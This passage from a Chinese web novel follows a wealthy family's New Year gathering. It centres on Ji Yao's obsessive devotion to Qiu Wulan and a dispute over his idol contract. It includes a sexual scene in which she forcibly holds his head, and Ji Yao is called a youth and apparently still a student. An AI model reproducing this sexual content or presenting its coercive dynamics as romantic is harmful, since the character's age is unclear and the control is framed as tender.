“阿尧。”她反手揉了揉季尧的头发,纤长的五指插.入柔软的发丝,抚摸着其下的头颅。“别伤害它。” 季尧痴醉。 他像是巴甫洛夫的狗,在邱芜澜如此抚摸他时,本能地想要跪下。 季尧依赖这个动作,不仅是因为跪姿能向邱芜澜表达顺从、展露自己的头发;更也因为季尧喜欢下跪带来的强联系。 他不是邱芜澜的弟弟,不是邱芜澜的朋友,更不是她的恋人。 他什么也不是。 可当他跪在邱芜澜身前,他们之间便有了绝对的从属关系,以邱芜澜的责任心,她必然会关注自己属下的每一个人。 跪姿,能使季尧钻入邱芜澜的羽翼,成为她的从属,得到她的关心。 目送邱芜澜进入浴室,季尧指尖掠过被邱芜澜抓握的杠铃杆。 从小重量升级到大重量,不需要什么特别的原因。 单纯只是因为时间到了,忽然有一天,生理、心理便催促尝试更大的重量。 「阿尧,告诉我——我没有喂饱她么,为什么要背叛我。」 「姐姐,宋折凝只是个戏子。如果不是华映内部混乱到了崩溃,那他们绝没有理由攻击秋叶。」 那一次,他被邱芜澜冷厉地驱逐。 并非愤怒,而是恼羞成怒。 她意识到了,他说的也许就是真相。 宋折凝的离开突兀且蹊跷,邱芜澜已然洞悉宋折凝背后的暗影,只是不想深究暗影的具体轮廓。 那一刻,她开口向季尧问询,一如从前那样,她相信他的判断,相信季尧能为她提供最正确的答案。 季尧如她所愿,道出了真相,可无论如何,邱芜澜都不想往邱承澜身上去猜。 她很乖,从来没有忤逆过邱承澜,邱承澜也就没有必要通过砍掉宋折凝,来警告羽翼日渐丰益的她。 邱芜澜更愿意认为这是邱承澜的手下自作聪明,试图帮老大打压“分家夺权的妹妹”。 然而在那之后,来公司巡视的邱承澜用态度佐证了季尧的判断—— 他似乎真的在对她不满。 邱芜澜心烦意乱,她依旧不想承认,季尧是对的。 他恐怖的直觉领先于逻辑推理,这种直觉是珍贵的资产,邱芜澜绝不允许季尧为了体态而节食,那会导致反应迟钝、记忆衰退、理解力下降,损害他的脑部功能。 季尧搭着被邱芜澜抓握过的杠铃杆,蹲下身,仰头嗅闻。 她雪藏他,却比他更瞧不上被雪藏后的工作。 认真努力当明星的季尧,和浑浑噩噩卖笑的季尧,哪一个都让邱芜澜眉头紧皱。 只是因为她没有见过前者,才会以为自己是为季尧吊儿郎当的工作态度而恼火。 她试着给季尧一个好剧本、逼迫他认真钻研娱乐事业,可如果季尧真如华君润那样,为了演好一个角色而两个月暴减三十斤体重,邱芜澜会比现在更暴躁地往季尧喉咙里灌酒。 她从来没有真正打算放他离开,她需要他的眼睛、他的聪慧、他的绝对臣服,所以才对他节食一事耿耿于怀。 这些事,季尧此前并没有察觉。 最开始,邱芜澜是真的想要将他封存,季尧便也放逐自己,去寻找新的替代。 没有什么特别的原因,只是时间将他们推到了剧情的分叉点。 像是忽然想要试一试更大重量的杠铃;也像是嘤嘤撒娇的小狼崽忽然之间渴望独立,期待支配一片领地; 而此前看到小狼从洞穴里探出脑袋就要呵斥的成狼,也在忽然之间消退了保护欲,转而呲出獠牙逼迫孩子离开自己。 宋折凝离开的这一年,是成狼和幼狼关系改变的一年。 自立门户的幼狼逐渐远离成狼的视线,她需要属于自己的臂膀,而离她最近、最值得她信赖的,便是亲手养大的季尧。 一根脆弱的蛛丝垂到了季尧面前,成为他爬出枯井的希望。 他蛰伏已久,从邱芜澜频频焦躁的反应中,意识到自己终于可以不再是纨绔的表弟。 少年单膝跪地,仰头伸出舌尖,舔舐被邱芜澜抓握的杠杆,脸颊布满陶醉的红晕。 第43章 第四十三章 除夕前一天, 秋叶集团和秋叶娱乐基本结束工作,只留下几个本地的员工轮流值班。 邱芜澜带着季尧回到了本家庄园。 一年之中,唯有过年是邱家难得的大团圆。 佣人们忙碌地打扫着, 三十四间客房、九个会客室收拾齐备,阳光室里晒满了床单被褥。 “芜澜!”直升机降落, 在螺旋桨的风声里,邱芜澜听见了甜美的呼唤。 腊月最后一天, 季葶穿着单裙,披着轻薄的披帛,笑盈盈地站在直升机前迎接。 她身后的别墅灯火通明, 那些全年不曾用过一次的房间, 此刻全部亮了起来。 客厅里人影绰绰, 听见直升机的声音, 人流朝门外汇聚。 “芜澜。”“是芜澜回来了。” 邱芜澜臂上一凉, 被季葶挽住了胳膊。 她试图做出亲密的母女姿态, 用以面对门内的亲朋宾客;但和邱芜澜相比, 季葶太苍白、太瘦小,撑不起半点母性的从容坚韧,更像是抓着救生浮木的小可怜。 所有人都待在温暖的室内, 唯有季葶站在前庭, 她的身体像是一团结霜的蒲公英, 被风吹得轻透冰凉。 这一抔冰凉紧紧挨着邱芜澜,邱芜澜垂眸看向她, 对上了女人忐忑讨好的脸。 那张脸和季尧极像。 季尧倏地开口, “妈妈,你弄皱姐姐衣服了。” 季葶当即仰望邱芜澜。 她想听她说些宽慰之言,却迟迟等不到邱芜澜的应答。 沉默之中, 季葶抱着邱芜澜的手臂一点一点打开,她松开了她,可依旧贴着,寸步不离。 邱芜澜没有表露抗拒,没有加快脚步,也没有好心地说一句“没关系”。 她不偏不倚地朝前走自己的路。 季尧扫过季葶,她像是一条优秀的宠物犬,十分擅长随行,通过不断打量主人来调整自己的速度,哪怕身高相差十三公分,也能完美地配合上邱芜澜的脚步。 季葶怀着女主人的梦而来,本该和前任女主人留下的女儿成为敌对关系,如同灰姑娘的继母一样提防着灰姑娘继承家产。 神奇的是,季葶不仅没有处处和邱芜澜作对,还将邱芜澜视作自己的依靠。 这种情况愈演愈烈,最近几年,她似乎忘记了邱岸山才是这个家的家主,而她是邱岸山带回来的情妇。 这一反童话的行为并不奇怪,季尧很清楚背后的逻辑。 当季葶认清现实、彻底看清邱岸山,就不难发现——整个邱家,唯一一个温和对待她的人,是邱芜澜。 她是他的亲生母亲,和他一样找到了这座庄园里格格不入的那片善良。 “芜澜,我的宝贝。”当邱芜澜迈入人群,为首的年长女性拥抱住了她。 她一头银白的短发,穿着洋气的旗袍,戴一串长珍珠项链,年过七旬,却有二三十岁的体态 。 “奶奶。”邱芜澜回抱了她,同身边的长辈一一问候。 “几个小的出去玩了,”邱老夫人抱过邱芜澜后,就没有松开她的手,“泽安泽然昨天回来了,跟你几个堂兄弟不知道跑哪儿去了;你哥比你晚点;只有你爸,人也不知道哪去了。” 邱芜澜陪着她慢慢往里走,“父亲要是来不了一定会通知我们,既然没说,那就是赶得上。” 季葶亦步亦趋地跟在祖孙身后,老太太挽着邱芜澜的手,在客厅沙发坐下,“怎么样,有对象了没有?外面都说你换得勤,可这么多年了,我们一个都没见着。要是有了就赶紧带回来,让我们见见。” 周围的叔伯姨婶跟着笑,“是啊,只要人品好,做什么的不重要。” “你身边要是没有合适的,小姑可以给你介绍几个,都是姓邱的,筛查过血缘了,和你没有重合。” “不是姐姐有偏见,”大邱芜澜十五岁的表姐倚着沙发,“芜澜,你自己是做娱乐行业的,知道那些男偶像的素质有多绝望。成天在这样的圈子里打转,早晚连aeo都忘了怎么读,万一哪天一上头——啧,坏了咱们家的基因呵。” “怎么说话呢,”她父亲呵斥了一句,转脸又对邱芜澜语重心长,“可我也觉着,还是多认识点医生、科研一类的好。” 邱芜澜听了,只是点头。 “姐姐、奶奶,喝茶。” 一壶清紫色的紫莲花茶搁在了茶几上,季尧进门之后,自觉去了茶室。 剔透的玻璃茶壶里泊着整朵紫莲,他倒了一杯,先递给了邱芜澜。 邱芜澜莞尔,自他手中接过。 “呦,这是谁呀。” 沙发背后,有些年纪的女人忽然冷嗤一声,“看着还真有点眼熟。” 季尧倒了茶,直起身,望向开口的女人。 “表姑。”他弯眸打了招呼,“不记得季尧了么。” 女人翻了个白眼,转身就走。 邱老太太不咸不淡地呀了一声,“季尧都这么大了。还跟着你当那什么唱跳偶像么。” 她没有给季尧一分视线,只是单纯地做一个话题过度,避免过年时出现冷场。 “是。”邱芜澜答了邱老太太的话,低声对季尧道,“去收拾下我的房间。” 季尧应了,离开了窒闷的气氛,转身往楼上走去。 他还未走远,老太太便长叹一声。 “你父亲,不是个良人,可惜了你母亲。”她拍着邱芜澜的书,“芜澜啊,奶奶倒不希望你和姓邱的在一起。像你父亲对你母亲那样,那是委屈了咱们自家孩子;可要是一心一意的,奶奶又觉得委屈了你。” 她浑然不顾季葶就站在邱芜澜旁边,像是根本就没看到她。 “奶奶,我心里有数,病好之前,不会结婚。” “也好,”老太太点头,“也好的。可要是有了,一定得带来给我见见。” 邱芜澜的病,在邱家也是一种秘辛。 除了直系亲属和老太太外,没有人知道她到底患有什么疾病。 这话题不能深聊,邱老太太很快改换了别的话题。 其余人和邱芜澜打过招呼,便三三两两各自找地方谈天闲聊,客厅沙发上只剩下老太太拉着邱芜澜说话,边上陪着季葶。 “你也别多心。”人走光了,邱老太太放轻了声音,和邱芜澜说起刚才对季尧翻白眼的女人。 “你父母是你表姑做的媒,她把你母亲当做自己的亲妹妹。大过节的看见鸠占鹊巢的杜鹃,心里多少有些不高兴,不是针对你。” “明白。”邱芜澜余光掠过另一侧的季葶。 季葶充耳不闻地甜笑着,不见半点负面情绪。 十几年来,她打开房门就是邱夫人的画像,心里早已麻木。 “你母亲虽然没有在外打拼,可她是个多好的妻子。”邱老太太回想起从前,惆怅叹息,“生了四个孩子,这不用说;她是最偏的旁支,二十岁和你父亲结婚前,家里也就是普通小康,三口人挤九十几平的屋子,还背二十年房贷。” “这么个姑娘,本科没读完,被你父亲逼着结婚了,毕业之前,就把这庄园从上到下管得井井有条。” 她倚着沙发,视线落在过往的虚无处,像是在看宅子里从前的光景。 “她住进来的十八年,即便是躺在病床上的三年,庄园里也没有出过乱子。人也好、钱也好,我像她那么大的时候管家,一年下来,少不得有两个月赤字,你母亲从来没有——第七年开始,她已经不需要再领家用,靠着前期结余的利息,就足够每个月的用度开销。” 老太太疑惑地感慨,“也不知道她是哪来的天赋,怎么就这么厉害,明明没有受过好的教育,却不比你姑姑她们差多少。” 邱芜澜静静听着,“母亲从小就对金融感兴趣。” “你像你母亲。”邱老太太回眸,望着邱芜澜的目光里有慈爱,有骄傲,“天生擅长这些。” “我比她幸运。”邱芜澜回握老人的手,“如果母亲有我的资源,她会做得更好。” “那倒也未必。”邱老太太哼笑一声,“名利就像沙子,抓得越紧,溜得越多。你母亲执念太深,安室利处里还好说,到了外头就未必了。你不同,你不在乎钱,就不会被眼前的蝇头小利搅浑头脑。” “可是芜澜,”老人倾身,苍老的视线与她交汇,“我真担心你被其他东西绊住脚。” “不会的奶奶,”邱芜澜向她保证,“我不会让病控制我。” “我说的不是这个。”老太太拍了拍她的手背,“芜澜,你是唯一的女孩儿,女孩儿早熟,何况你母亲走得早、父亲一年到头不见影子。你远比你想象得要成熟,有些质疑你、反对你的声音,不代表他们就是正确,即便是,那又如何,你做出了足够多的贡献,有资格向那些冷眼旁观、享受成果的受益者索取报酬。” 邱芜澜笑着,“您是在说谁呢。” “少爷——”门口响起女佣的声音,“承澜少爷回来了。” 邱芜澜扭头望去,她欲起身,手还被邱老太太攥着。 “你哥哥回来了,”老太太抬眉慈笑,“好啊,比预计早不少。” 她握着邱芜澜的手不放,邱芜澜几度欲起身,都没能站起来。 直到能望见邱承澜的身影了,老太太才撑着邱芜澜的力道起身,“走,看你哥哥去。” 迎接邱承澜的人们比对待邱芜澜更加热情。 知情的长辈们顾忌邱承澜的病,有意克制了情绪,可流淌在人群间的氛围有显著区别。 不仅是他们,就连邱芜澜自己都更尊重邱承澜一些。 季葶站在祖孙身后,她依赖着邱芜澜,目光却紧盯在邱承澜身上。 邱承澜站在水晶灯下应酬寒暄,花了点时间才打完招呼。 男人抬眸,越过人群,看见了不远处的妹妹。 他抬脚迈步,穿过热络的前厅、踏入客厅,老太太伸出手,给高出自己许多的孙子一个同样的拥抱。 “奶奶。”邱承澜扶着她的肩膀,“我回来了。” 这一拥抱后,他看向一旁的邱芜澜。 邱芜澜低唤了一声“哥哥”,声音很轻,但比所有人看邱承澜的目光都更加热络。 邱承澜的眸色暗了两分,喉结缓缓滚动了一圈,他像是将某种情愫吞咽了下去,徒留不轻不淡地一声鼻音,问她:“什么时候到的。” “不久。”邱老太太在邱芜澜回答之前开口,“和你先后脚。” “我先去换衣服。”邱承澜对着老太太示意,往楼上走去。 邱芜澜的视线粘在他的背后,直到邱承澜消失在楼梯上,她才收回目光,对老太太说,“奶奶,我也先回房间收拾一下。” 邱老太太叹气,“去吧。” 邱芜澜冲她点头,快步往楼上走去。 她步态间透出微不可察的急促,邱老太太慢慢皱起了眉。 她忽然看向始终无言的季葶,“季尧也不小了,怎么不见交朋友?还天天跟在芜澜后头?” 季葶像是突然被老师点名回答问题的差生,受惊似地睁眸。 对上老人淡薄的余光,她斟酌着答道,“他没有和我提过。” “这也是稀罕事,”老太太笑了声,“芜澜不肯让亲弟弟和自己住一块儿,倒允许季尧白天黑夜地腻在身边。她实在袒护他。” 她的语气和煦,季葶一时分辨不出老太太是在不满,还是别有深意。 她紧紧抓着身上轻薄的披帛。 没了邱芜澜,独自面对这个庞大的家族时,季葶昏昏然有些发冷。 如同还未学会游泳的人被投入深海,她忘记了怎么呼吸,紧紧抓着一切能抓住的东西,指节用力到青白。 蔷薇,她需要蔷薇…… 季葶借口躲进了卫生间,从口袋里摸出一支蔷薇香薰,布满冷汗的手指湿滑黏腻,拧了几次才将盖子拧下。 嘎啦—— 瓶盖滚落地上,她埋进香薰瓶口深深吸气,像是终于戴上了呼吸机。 季尧收拾好邱芜澜的房间,楼下的人群也散了,他该回到姐姐身边。 从邱芜澜的房中走出,他前脚未出房门,沉缓的皮鞋声便出现在耳后。 向前一步,房门左侧,他和皮鞋的主人近距离相逢。 男人有着和邱芜澜相似的五官,很多人称他和邱芜澜长得像,却从没人提过眼睛。 那双眼的眸光深邃如渊,同样的冷漠,邱芜澜只是疏离,这双眼里却是彻彻底底的丧失同情心。 季尧站定,在男人看见他时,礼貌问好,“承澜哥。” 邱承澜停下脚步,漠然地审度从妹妹房中出来的少年。 “我在外面听人谈论你,”他倏地开口,“听说你成绩差得一塌糊涂,因为是芜澜的表弟,所以不管考多少,老师都会给你拉到及格线上。” “对不起承澜哥。”季尧低头,“我会努力的。” “你当偶像是为帮邱家竖立形象,努力了三四年,只给家族添了个不学无术、滥用职权的负面印象。”邱承澜居高临下地俯视他,“季尧,你有个上进的母亲,她帮你争取到了优渥的生活,你不需要为吃穿发愁,既然偶像做不好,那就放过自己,做点轻松的事去。” 季尧瞳孔微缩。 他猛地抬头,在男人身后望见了站在楼梯转角的邱芜澜。 “哥哥?”邱芜澜愣怔片刻,旋即快步上楼。 她走到邱承澜身旁,扫了眼季尧,轻轻拉住邱承澜的衣袖,“怎么了,是有什么流言么?” 邱承澜挑眉,“你真的不知道?” 邱芜澜抿唇,没有回答。 她不说,邱承澜也懒得桩桩件件摆出来。 “早晚会有的。”他侧过身,冷睨着漂亮的少年,“芜澜,解除他的艺人合约。” “哥哥!”邱芜澜蹙眉,无声央求着邱承澜。 邱承澜熟视无睹,“你自己清楚,他的行为符不符合秋叶娱乐的艺人规范。” 邱芜澜抿唇,显出强烈的挣扎。 邱承澜说的是事实,一直以来,季尧的工作态度甚至不能用消极概括,已然到了恶劣的程度。 他的恶劣不仅体现在学校成绩、专业能力上,更也呈现在他私下对其他艺人的小动作上。 作为艺人,季尧没有贡献出业绩,反而埋下了很多隐患。 任何娱乐公司都不会久留这样的艺人。 邱承澜是对的。 可她夹在邱芜澜和季尧之间,久久没能答应。 邱承澜没有逼妹妹当场操办,他撂下廊上的死寂,推门进了自己的房间。 半晌,邱芜澜抬眸,望向不远处的季尧。 她的眼里是挣扎、是烦躁、是混乱、是悲伤。 四目相对,这眼神令季尧熟悉,却又和当年她跟邱承澜从高尔夫球场回来时的有所不同。 季尧抓住了这丝不同,他听见自己体内血液的流动声,激汹且亢奋。 身旁的十指颤动了一下,他仰着迷惘的脸,无措喃语:“姐姐……” 这是季尧初到本家时的表情,邱芜澜敛眸,站在原地未动,季尧试探性朝她走去。 她没有拒绝他的靠近。 少年澄澈的浅色瞳孔里悄然划过一丝如释重负。 他握着垂下的蛛丝,隐约望见了洞口的一束天光。 还差一点,就快要出去了。 第44章 第四十四章 邱岸山在除夕当晚出现。 他比邱芜澜上次见到时老了些, 以邱岸山的财富而言,他本不该有这样的老态。 “有流言传,父亲病了。” 邱泽安站在邱芜澜身旁, 端给她一支起泡酒。 邱芜澜接过,闻出是自己愿意喝的牌子, 饮了小口。 “我记得你小时候很期待父亲回家,”她隔着长厅望着左右逢源的邱岸山, “现在怎么不过去了。” “姐姐为什么不过去?”邱泽安反问,“我有记忆以来,姐姐似乎都不太亲近父亲。你宁愿追着冷冰冰的大哥跑, 也不肯被父亲抱在腿上。” “哥哥有洁癖, ”邱芜澜淡淡道, “他是干净的。” 邱泽安欲言又止, 最终还是没再多说什么。 “姐!”清朗的男声从侧面传来, 邱芜澜斜眸, 看见一米九的高大青年拽着娇小的女孩, 朝自己走来。 他忙着躲避人流,一双眼睛直勾勾落在自己身上,全然都是欢欣, 没有发现身后的小姑娘已经被蹭了两回, 高跟鞋踉踉跄跄地踩在地上, 完全是被他强拖着走。 当青年站定在邱芜澜身前,比她高出一头、壮硕许多的身体立即投来压迫感极强的阴影。 “姐, ”身体壮硕, 可那张脸是稚嫩的,残留着学生的天真,“我女朋友, 滢滢。” 他把女孩拉到邱芜澜面前,按着她的肩膀,展示给邱芜澜看。 邱芜澜抬眉,一米六出头的姑娘看着还没有毕业,皮肤很白,但不细腻;头发乌黑,但不柔顺;长相清秀,却没有保养的痕迹。 她怯生生地看向邱芜澜,跟着男朋友喊了句,“姐姐好。” 邱芜澜目光下移,看见她局促并拢的双脚,脚下一对粉色细高跟,从远处过来时,就能听见哒哒哒的凌乱且笨重的落地声。 她对简道,“拆一双平底鞋来。” 简顺着她的视线看向女孩的脚,了然离去。 过一会儿,她拿着鞋盒过来,当着周滢的面打开,“试一下,37码可以么。” 周滢吓了一跳,惊讶地看向邱芜澜,随即马上仰头看邱泽然的脸色。 邱泽然有点不高兴,“姐,她平常就不肯打扮,好不容易才穿一回高跟鞋。” “她不习惯。”邱芜澜说。 邱泽然不以为然地笑,“多穿才能习惯,连我姐姐都穿了,她怎么就穿不了一下。” 邱芜澜笑了,“不止你姐姐我穿了,连路易十四、拿破仑都爱穿高跟,你怎么就穿不了一下?” “姐!”邱泽然不满地嗔怨。 邱泽安推了推眼镜,别过头不忍再看弟弟的蠢相。 “姐姐我没事的。”周滢朝着邱芜澜歉意道,“我穿这双就行了。” 邱芜澜温柔地望着她,“你这样宠他,会让他蹬鼻子上脸。” 女孩羞涩地低头,“是他对我好。” “你真体贴。”邱芜澜倾身,松松地抱了抱她,“累了就去休息室坐一会儿,想吃什么和佣人说。” 周滢受宠若惊地在她怀中点头,“好的姐姐。” 她拘束的姿态稍稍放缓了些。 周滢很早就看见了邱芜澜。 在这华丽的宴会上,她的衣着并不突出,身上看不见奢华的配饰,可她站在安静的一角,便散发着与众不同的气质,宛如庄园的主人泰然地注视着来宾。 这份与生俱来的从容气场,让周滢不敢轻易靠近。 邱芜澜的亲切细心令她无比意外,邱泽然的朋友、亲戚里,没有一个像邱芜澜这样体贴——他们或许是能够这样体贴的,只是不屑于用在她这样的普通人身上。 她已经习惯了邱泽然身边人对她的态度,猝不及防,遇见了邱芜澜,心里说不出的温暖。 周滢很快被邱泽然拉着去见其他人。 望着女孩被拖拽的步姿,邱芜澜抿了口微凉的起泡酒,不再出声。 “我会去劝劝他的,”邱泽安低声道,“在体队待久了,连最基本的绅士都忘了。” “无所谓。”邱芜澜将手中的酒交给季尧,“只要别出现在宴会上公然摔倒的闹剧、坏了大过年的气氛,我也不在乎每双鞋子里的袜子到底在什么位置。” 邱泽安略感担忧,那笨拙的步态,说不好还真会出现…… “芜澜啊,”有人喊,“过来过来,三叔公和你奶奶找你打麻将。” “就来。”四缺一,邱芜澜回头看了眼身后的两个弟弟。 停顿片刻,她作出了选择,“阿尧,一起。” 邱泽安的脸色当即变得难看。 邱芜澜转身,愈确定了人选。 大过年的晚上,还是得让长辈开心一些。 季尧将酒杯找地方放下,跟上了邱芜澜的脚步。 “你喜欢那个女孩么。”前往娱乐室的路上,邱芜澜随口问了句,“这还是泽然第一次带女朋友回来。” “姐姐喜欢的人,阿尧也喜欢。” “我喜欢?”邱芜澜顿足侧身,细细凝望着他,“我甚至没有过问一句她的名字。” “但她通过了服从性测试。”季尧道,“泽然哥需要一个‘乖女孩’。” 他坦然地回视邱芜澜的审判。 邱芜澜半敛眼睑,点点头,继续往娱乐室走去。 那确实是一个安全稳定的,乖女孩。 “姐姐,”她听到季尧在她耳边低吟,“是她拒绝的你,不必为一个不知名的女孩伤怀。” 名字,是一种羁绊。 她不问对方叫什么,就不会和她产生羁绊。 季尧说中了邱芜澜的心思,但导致邱芜澜此刻沉重的不仅是那个情路坎坷的乖女孩,更也是因为身边的季尧。 季尧回答她的问题时,像是积极回答老师提问的学生一样,迫切地表现自己。 几个小时前,邱承澜下达的解约命令犹在耳畔。 邱芜澜认可邱承澜的判断,但她已不再是二十岁出头的小姑娘,遇到一点不顺心就任性地回避一切。 有别于那天的高尔夫球休息室,这一次,她要和季尧好好谈谈。 年夜饭坐满了三个餐厅,在邱岸山举杯之后,时间跨过了零点。 宴席陆续散了,一楼还留着几盏灯,灯下是小酌聊天的三五亲朋。 邱芜澜回到卧室,将季尧带了进来。 洗漱后,她换过衣服,坐在临窗的沙发椅上,对季尧开口,“阿尧,过来,我们谈谈。” 这面窗户正对着蔷薇园,寒冬时节,如火的花海谢了,但稍远一些的玻璃温室里依旧蔷薇满园。 隐约间,那种腐烂、浓郁的蔷薇强香涌入了季尧口鼻,甜得他舌苔泛酸。 “姐姐。”他在邱芜澜对面坐下,依恋地望着她。 邱芜澜避开这份纯粹的视线,轻声道,“阿尧,你其实不喜欢当偶像。” 季尧沉默片刻,史无前例地如实承认,“是,我讨厌在镜头前傻笑;讨厌对着陌生女人眨眼;讨厌在衣着暴露地在舞台上做那些软色.情动作。” 邱芜澜支着额,“那你为什么要考艺校。” 季尧不假思索地回答:“因为姐姐接手了娱乐公司。” 邱芜澜打住了这个话题。 “哥哥要和你解约,你是怎么想的。” 季尧抿唇,过了一会儿才道,“承澜哥说的没错,我不是个优秀的艺人,没有给家族带来任何利益。但按照合约,我也没有出现过严重失误;以业绩为由的辞退,并不合法正当。” 邱芜澜挑眉,“你是在问我要违约金么。” 季尧迷蒙地望着她,“姐姐,阿尧想要的从来不是钱。” 邱芜澜再度躲开了这湿漉漉的视线。 “阿尧,”她沉沉叹息,“秋叶娱乐的老板毕竟是哥哥。我可以顶撞一次他,保留你的艺人合约,之后呢——这份合约你既不喜欢,也没有长远的意义。再过几年,我的重心会转移到集团里,那时候,我也不会再在娱乐公司久待。” 季尧明朗天真地回答,“姐姐喜欢我做的饭,那时候我可以给姐姐当司机、当厨师,待在家里打扫房间。” 邱芜澜蓦地无比烦躁,“我不需要一个成天在我面前晃悠的男仆。” “姐姐……”季尧当即跪在了邱芜澜的脚前,双手搭着她的膝盖,“姐姐别生气,你希望阿尧做什么,阿尧就做什么。” 邱芜澜只觉更加躁戾。 “季尧,”她抚着他漂亮的脸,“你的人生不该围绕着我转。你有足够多的积蓄,有足够聪明的脑袋,你可以做到很多别人一辈子做不到的事。” “可那些事里没有姐姐。”季尧仰望着她,他弯眸笑着,浅色的瞳孔潮湿泛红,仿徨且脆弱。 “姐姐,我一直很乖呀。” 他讨好着、期冀着、懵懂着小声开口,笑靥之上,绯红的眼角坠下泪来。 他跪在她身前、搭着她的膝盖,邱芜澜无法第三次躲避他的目光。 滚烫的躁感随着少年眼睫旁的泪蹿升而起,邱芜澜深深吸气,平复无端的亢奋。 她看不见,自己的眼尾已染上薄红;触碰季尧脸颊的力度也已脱离了轻抚,变成了抓控。 不太对劲。 她已经换了新药,早上也按时吃了。 邱芜澜猛地抽手,对季尧冷声道,“出去。” 少年的笑意一僵,这脆弱的笑容甫一撕开,便露出底下泪痕未干的真实面目。 邱芜澜在走廊上的犹豫、挣扎如此明显,他以为自己终于迎来了机会,可她此时辞色冷厉不容置喙。 是他自以为是,猜错了么…… 砭骨的寒战兀地袭遍季尧全身,清明的思绪一瞬间冻结成凌,变得生涩冷硬。 那股疼痛如有实质,他冷得牙冠打颤,四周实物虚化成模糊的色块。 霎那间,他被剥去思考的能力,徒留被抛弃的恐惧。 不、不要……姐姐……别抛弃他,别丢下他…… 他还有什么? 他还能做什么? 混乱中,季尧抓起了手边有的一切,“姐姐,你给我的剧本还没有开拍,临时拒绝要赔高昂的违约金。” 邱芜澜拧眉,季尧一怔,愈发慌乱。 不对、不是这个,那点违约金不足以阻拦邱芜澜,他要说点别的、别的足够分量、足够体现自身价值的东西—— “我看了这几年的同类型爆剧,发现了两个有发展潜力的龙套,公司可以趁现在签下他们;宋折凝的经纪人岚会是一个很好的突破口,姐姐需要的话,我可以去试着接触一下;乔尹最近频繁关注心脏移植手术,他助理说他上个月请假了三次,每一次都说家人生病,搞定乔尹,推进ASHS合约改革就成功了一…” 他试图表现得乖巧温顺,却无论如何都压不住语气里的急促。话未说完,他后脑被猝然一推,毫无征兆地被按进了邱芜澜双腿之间。 她倚着靠背低吟,双手紧紧扣住季尧的后脑,不许他稍有分离。 “阿尧、阿尧……”她闭着滚烫地眼,清冷的脸上凝满醉红,语尾兴奋得颤音。 黏腻的水声、急迫的吞咽声持续回应着邱芜澜的呼唤。 良久,她分.开腿,抓着少年柔软的头发,迫使他望向自己。 他遗传了妈妈的甜美可爱,又融合了生父深邃的西方五官,这张脸精美到妖冶,当脸上布满潮红和斑驳的泪痕后,美得令人心惊。 他没有挣扎,顺从地贴合邱芜澜的力道,后仰出修长的脖颈,将脆弱的喉结暴露在邱芜澜眼前。 季尧是乖巧的,他遵从邱芜澜的一切指令,从来不会像今天这样喋喋不休地一个劲儿为自己游说。 那双琉璃般的眼还在无声哭泣。 鸦色的眼睫太密太长,被泪水打湿后,湿沉得睁不开。 他透过沾满泪的睫羽瞻望邱芜澜,喑哑地唤了一声,“姐姐……” 邱芜澜定定地注视他,空气中只有咸湿的泪。 她徐徐松开了手,对季尧道,“出去。拿药给我。” 季尧眼中的希冀顷刻间灰败破散。 随后,他听见了邱芜澜的下一句,“你想演,就演吧。以业绩为由的辞退,的确不合规,我明天会和哥哥提。” 季尧一怔,半晌,扬起了笑。 “谢谢姐姐。”他发自内心地感激涕零。 他的判断没错:这一次,的确是不同的。 第45章 第四十五章 邱承澜看了眼时间, 他提前和家里人打过招呼,初一吃了早饭就得走。 另外几个大陆没有春节假期,国外的客户、供应商们还在正常上班。年初年末, 哪个国家都一样繁忙,相较而言, 他在年中会清闲一些。 家庭早餐结束后,邱岸山搂着季葶的肩, 举着一块苹果片逗弄她,要她仰着头来咬,像是在喂宠物兔。 碍于对方是自己的父亲, 邱承澜保留了基本的敬重。 季葶发现了邱承澜, 羞红着脸推了推邱岸山, “岸山, 孩子在呢。” 邱岸山捏着她的下巴, “又忘了, 该叫什么?” 季葶咬着下唇, 余光飞速瞄过邱承澜冷俊的侧脸,在邱岸山的钳制下,无奈地轻唤了声, “哥哥。” 邱岸山笑了起来, 摸摸她自然微卷的头发, 将苹果塞进了季葶口中。 “父亲。”邱承澜适时靠近,“我差不多该走了。” 邱岸山扭头, 看向身高早已超过自己的大儿子, “不等等你妹妹?” “我和她不顺路。” 邱岸山眼角的笑纹愈发深邃,“承澜,那可是你唯一的亲妹妹, 你怎么能这么冷酷。” 他有一搭没一搭地把玩着季葶的头发消遣,“她那样崇拜、迷恋着你,多疼疼她不会让你少块肉。” 邱承澜的目光落在男人指尖的卷发上,眼中的尊敬差一点儿没能遮住厌恶。 “我没什么可值得她崇拜的,”他单方面结束了对话,“父亲,我先走了,您多注意身体。” “等一下,哥哥。” 邱承澜转身之际,邱芜澜搭着扶手下了楼。 她叫住了邱承澜,小花厅里没有外人,她直接开口,“昨天说的解约,我考虑过后还是觉得不太合适。” 她停在最后两级台阶上,邱承澜向上看她,“出于什么方面。” “劳动法。” “哈…”邱岸山忍俊不禁,卷着季葶的头发低笑出声。 “季尧手上还有几个项目,临时爽约,我们需要赔付违约金。”邱芜澜道,“哥哥,季尧的工作态度确实称不上积极,但也不至于要到解约的地步。负责他的后勤团队手里还有其他艺人,开年了,到处都忙,少点折腾对员工也好。” 以往和邱承澜的想法产生冲突时,邱芜澜会采取松动的口吻,保留邱承澜的反驳权,并在最后征求他的意见。 这是第一次,她直白地拒绝了邱承澜,所提主张也没有过硬的理由可以支撑。 如果邱承澜反驳,邱芜澜是拿不出多少可应对的后话的。 底气不足,邱芜澜的语气不由得发虚。 她认为邱承澜绝不会同意,就像此刻听了她的话忍不住发笑的邱岸山一样,他们不会接受这种冠冕堂皇的理由,她也不会。 然而,邱承澜只是一点头,“好,那就按你说的,再观察一段时间。” 他对上了邱芜澜错愕的表情,问了句,“还有别的事么。” 邱芜澜回神,摇了摇头,“没…” 邱承澜颔首,“我先走了,开年会上见。” 见他要走,邱芜澜向前半步,想拥抱他,没等走下楼梯,邱承澜已离开了花厅,和等在外间的钱秘书一道离开。 她被留在原地,目送他的背影。 不远处的邱岸山勾了勾唇角,松开了季葶的长发。 “宝贝,到爸爸这儿来。” 邱芜澜回眸,停顿半息,朝邱岸山走去。 她被拉入邱岸山的怀抱。 邱岸山不再年轻了,衬衫下的身材也还是远超同龄人。他不是那种大腹便便的小领导,在邱岸山这一阶层,男人不比女人忽视外貌。 他们每天都面临数额巨大的决策,每一步都至关重要。 要日复一日地做出正确选择,就必须保持极其旺盛的精力,运动和保养对他们而言必不可少。 “伤心了?”他揽着邱芜澜,笑眯眯地帮她骂人,“哥哥是大坏蛋,咱们不理他。” 邱芜澜推拒,“父亲,我不是幼儿园的宝宝。” 